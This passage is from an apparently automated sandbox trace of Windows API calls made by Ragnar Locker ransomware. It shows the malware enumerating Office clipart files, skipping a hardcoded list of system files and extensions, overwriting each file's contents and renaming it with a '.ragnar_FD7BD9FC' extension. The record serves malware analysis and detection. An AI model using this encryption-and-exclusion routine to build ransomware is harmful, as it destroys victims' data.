Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.076] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0084.076] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.076] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107188.WMF" | out: lpString1="J0107188.WMF") returned="J0107188.WMF" [0084.076] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned=".WMF" [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="autorun.inf") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="boot.ini") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="bootfont.bin") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="bootsect.bak") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="bootmgr") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="bootmgr.efi") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="bootmgfw.efi") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="desktop.ini") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="iconcache.db") returned 1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="ntldr") returned -1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="ntuser.dat") returned -1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="ntuser.dat.log") returned -1 [0084.076] lstrcmpiW (lpString1="J0107188.WMF", lpString2="ntuser.ini") returned -1 [0084.077] lstrcmpiW (lpString1="J0107188.WMF", lpString2="thumbs.db") returned -1 [0084.077] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.077] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.077] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.077] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.077] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.077] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.077] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20 [0084.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.077] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4536) returned 1 [0084.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.077] GetProcessHeap () returned 0x580000 [0084.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.077] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.079] VirtualAlloc (lpAddress=0x0, dwSize=0x11b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.079] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.079] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.079] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11b8, lpOverlapped=0x0) returned 1 [0084.080] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.080] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.080] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11b8, lpOverlapped=0x0) returned 1 [0084.080] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.080] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.080] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.080] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.080] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.081] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.081] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.081] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.081] GetProcessHeap () returned 0x580000 [0084.081] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.081] CloseHandle (hObject=0xf4) returned 1 [0084.081] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" [0084.081] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.ragnar_FD7BD9FC" [0084.081] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.082] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0084.082] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.082] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107192.WMF" | out: lpString1="J0107192.WMF") returned="J0107192.WMF" [0084.082] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned=".WMF" [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="autorun.inf") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="boot.ini") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="bootfont.bin") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="bootsect.bak") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="bootmgr") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="bootmgr.efi") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="bootmgfw.efi") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="desktop.ini") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="iconcache.db") returned 1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="ntldr") returned -1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="ntuser.dat") returned -1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="ntuser.dat.log") returned -1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="ntuser.ini") returned -1 [0084.082] lstrcmpiW (lpString1="J0107192.WMF", lpString2="thumbs.db") returned -1 [0084.082] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.082] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.082] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.082] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.082] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.082] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.082] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20 [0084.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.083] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9968) returned 1 [0084.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x26e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.083] GetProcessHeap () returned 0x580000 [0084.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.083] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.084] VirtualAlloc (lpAddress=0x0, dwSize=0x26f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.085] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.085] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.085] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x26f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x26f0, lpOverlapped=0x0) returned 1 [0084.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.086] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.086] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x26f0, lpOverlapped=0x0) returned 1 [0084.086] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.086] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x26f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.086] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.086] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.086] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.086] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.087] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.087] GetProcessHeap () returned 0x580000 [0084.087] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.087] CloseHandle (hObject=0xf4) returned 1 [0084.087] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" [0084.087] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.ragnar_FD7BD9FC" [0084.087] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.087] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0084.087] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.087] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107254.WMF" | out: lpString1="J0107254.WMF") returned="J0107254.WMF" [0084.087] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned=".WMF" [0084.087] lstrcmpiW (lpString1="J0107254.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.087] lstrcmpiW (lpString1="J0107254.WMF", lpString2="autorun.inf") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="boot.ini") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="bootfont.bin") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="bootsect.bak") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="bootmgr") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="bootmgr.efi") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="bootmgfw.efi") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="desktop.ini") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="iconcache.db") returned 1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="ntldr") returned -1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="ntuser.dat") returned -1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="ntuser.dat.log") returned -1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="ntuser.ini") returned -1 [0084.088] lstrcmpiW (lpString1="J0107254.WMF", lpString2="thumbs.db") returned -1 [0084.088] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.088] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.088] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.088] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.088] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.088] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.088] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20 [0084.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.088] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20212) returned 1 [0084.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4eeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.089] GetProcessHeap () returned 0x580000 [0084.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.089] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.090] VirtualAlloc (lpAddress=0x0, dwSize=0x4ef4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.091] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ef4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ef4, lpOverlapped=0x0) returned 1 [0084.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.093] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ef4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.093] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ef4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ef4, lpOverlapped=0x0) returned 1 [0084.093] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ef4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.093] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.093] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.093] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.093] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.093] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.094] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.094] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.094] GetProcessHeap () returned 0x580000 [0084.094] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.094] CloseHandle (hObject=0xf4) returned 1 [0084.094] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" [0084.094] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.ragnar_FD7BD9FC" [0084.094] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.094] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0084.094] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: 